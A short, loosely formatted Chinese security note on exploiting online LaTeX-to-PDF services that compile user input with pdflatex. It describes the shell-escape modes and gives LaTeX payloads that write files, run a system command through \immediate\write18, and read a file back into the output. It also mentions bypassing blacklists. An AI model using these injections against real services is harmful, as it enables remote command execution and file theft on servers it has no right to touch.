简介
LaTex常用于编写文档、页面排版, 使用latex语法编写然后经过编译最后形成文档. 互联网上有一种在线输入latex然后生成pdf供用户下载的服务, 这种服务使用pdflatex组件在服务器端编译latex并生成pdf, 由于是客户端输入的数据, 因此具有不安全性, 而pdflatex本身支持读写文件、执行操作系统命令, 构造恶意的代码即可造成远程命令执行或读写文件产生恶意攻击.
attack latex
绕过黑名单限制
paper
的延伸.
Pdflatex
有三种操作模式
no-shell-escape
进行
\write18{command}
执行, 即使函数已经在texmf.cnf文件中启用
shell-restricted
与shell-escape类似, 但是只能执行安全的预定义命令集
shell-escape
允许
\wite18{command}
执行
1 2 3 4
|
\newwrite\outfile \openout\outfile=cmd.tex \write\outfile{hello-world} \closeout\outfile
|
1
|
\immediate\write18{env}
|
1 2 3 4 5 6 7
|
\newread\file \openin\file=env.tex \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file
|
0day.work